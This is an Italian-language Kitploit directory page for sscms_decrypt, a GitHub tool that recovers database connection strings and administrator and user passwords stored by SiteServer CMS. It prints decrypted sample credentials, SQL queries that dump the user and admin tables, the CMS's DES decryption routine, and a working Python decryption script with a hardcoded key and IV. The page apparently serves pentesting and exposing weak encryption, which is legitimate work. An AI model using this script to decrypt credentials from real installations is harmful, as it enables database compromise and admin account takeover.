Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SSCMS_Decrypt — Decrittazione del database sscms | Kitploit
Strumenti/GitHubGitHub/jas502n/sscms_decrypt
Password CrackingStrumenti di Crittografia/DecrittografiaAnalisi delle VulnerabilitàSicurezza WebSicurezza dei Database
GitHubjas502n/sscms_decrypt

SSCMS_Decrypt

Decrittazione del database sscms

Vedi Repository
1034 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

sscms (siteserver cms) database decrypt

Introduzione: SSCMS è basato su .NET Core e consente di realizzare una piattaforma web completa, performante, altamente scalabile e facile da mantenere con i costi più bassi, il minimo impiego di risorse umane e nel minor tempo possibile.

Indirizzo del progetto: https://github.com/siteserver/cms

Des Decrypt

https://github.com/siteserver/cms/blob/master/src/SSCMS/Utils/DesEncryptor.cs

root@kitploit:~

 python3 sscms_decrypt.py
 
[+] Current Encrypt Data= 0NofLD4zWcY/jm+42NYzug==
[+] secretKey= f9c01027
[+] iv_hex= 1234567890abcdef
[+] 数据库类型:SqlServer

[+] Current Encrypt Data= B0SvIg6ExtjhllXf3vb9UwjmLKSRMlqQ1LIs6a8G0G0/M1cWZ2ABJ6lvZOMlvKR+vM7/QKGc8pYo8t6sumMerqA==
[+] secretKey= f9c01027
[+] iv_hex= 1234567890abcdef
[+] 数据库配置信息:Server=192.168.77.200;Uid=sa;Pwd=p@ssw0rd2020;Database=sscms;

sscms.json

root@kitploit:~

{
  "IsNightlyUpdate": false,
  "IsProtectData": true,
  "AdminDirectory": "siteserver",
  "HomeDirectory": "home",
  "SecurityKey": "f9c01027278a387b",
  "Database": {
    "Type": "0NofLD4zWcY0slash0jm0add042NYzug0equals00equals00secret0",
    "ConnectionString": "B0SvIg6ExtjhllXf3vb9UwjmLKSRMlqQ1LIs6a8G0G0slash0M1cWZ2ABJ6lvZOMlvKR0add0vM70slash0QKGc8pYo8t6sumMerqA0equals00equals00secret0"
  },
  "Redis": {
    "ConnectionString": ""
  }
}

Dopo l'installazione del sistema, SS CMS salva le informazioni di connessione al database nel file di configurazione sscms.json:

  • IsProtectData: specifica se la stringa di connessione al database è archiviata crittografata
  • SecurityKey: chiave di crittografia, generata casualmente dal sistema
  • Database:Type: tipo di database
  • Database:ConnectionString: stringa di connessione al database

Decrittazione della tabella delle password degli utenti del database

Tabella utenti del front-end:

URL di accesso front-end: http://x.x.x.x/home/pages/login.html image

SELECT * FROM jxxt.dbo.siteserver_User

Tabella degli amministratori del back-end

URL di accesso back-end: http://x.x.x.x/SiteServer/pageLogin.cshtml

image

SELECT * FROM jxxt.dbo.siteserver_Administrator

image

Codice di decrittazione corrispondente:

https://github1s.com/siteserver/cms/blob/siteserver-v6.13.0/SiteServer.CMS/Provider/AdministratorDao.cs#L1126

root@kitploit:~
        private string DecodePassword(string password, EPasswordFormat passwordFormat, string passwordSalt)
        {
            var retVal = string.Empty;
            if (passwordFormat == EPasswordFormat.Clear)
            {
                retVal = password;
            }
            else if (passwordFormat == EPasswordFormat.Hashed)
            {
                throw new Exception("can not decode hashed password");
            }
            else if (passwordFormat == EPasswordFormat.Encrypted)
            {
                var encryptor = new DesEncryptor
                {
                    InputString = password,
                    DecryptKey = passwordSalt
                };
                encryptor.DesDecrypt();

                retVal = encryptor.OutString;
            }
            return retVal;
        }

DecryptKey = passwordSalt

Il valore di DecryptKey viene inizializzato tramite passwordSalt, quindi viene eseguita la decrittazione DES,

root@kitploit:~
		/// 解密密钥
		/// </summary>
		public string DecryptKey
		{
			get { return _decryptKey; }
			set { _decryptKey = value; }
		}

Tracciamento var encryptor = new DesEncryptor encryptor.DesDecrypt();

cioè la chiamata al metodo DesEncryptor.DesDecrypt()

root@kitploit:~
		public void DesDecrypt()
		{
		    byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
		    try
			{
				var byKey = Encoding.UTF8.GetBytes(_decryptKey.Substring(0, 8));
				var des = new DESCryptoServiceProvider();
				var inputByteArray = Convert.FromBase64String(_inputString);
				var ms = new MemoryStream();
				var cs = new CryptoStream(ms, des.CreateDecryptor(byKey, iv), CryptoStreamMode.Write);
				cs.Write(inputByteArray, 0, inputByteArray.Length);
				cs.FlushFinalBlock();
				Encoding encoding = new UTF8Encoding();
				_outString = encoding.GetString(ms.ToArray());
			}
			catch (Exception error)
			{
				_noteMessage = error.Message;
			}
		}

Il codice python3 corrispondente:

root@kitploit:~

import base64,pyDes

def sscms_decrypt(encodeData):
    var1 = encodeData.replace("0secret0", "").replace("0add0", "+").replace("0equals0", "=").replace("0and0", "&").replace("0question0", "?").replace("0quote0", "'").replace("0slash0", "/")
    var2 = base64.b64decode(var1)
    print("[+] Current Encrypt Data= " + var1)
    secretKey = 'Y2MlWp4hGY2Wcb9tzIiR2w=='[0:8]
    print("[+] secretKey= " + secretKey)
    iv_hex = "1234567890abcdef"
    iv = bytes.fromhex(iv_hex)
    print("[+] iv_hex= " + iv_hex)
    k = pyDes.des(secretKey, pyDes.CBC, iv, pad=None, padmode=pyDes.PAD_PKCS5)
    return k.decrypt(var2) + b"\n"

Data = "VpGCBufzbT+j/zYDjDmtWw=="

print(sscms_decrypt(Data).decode("utf-8"))
Scarica lo strumento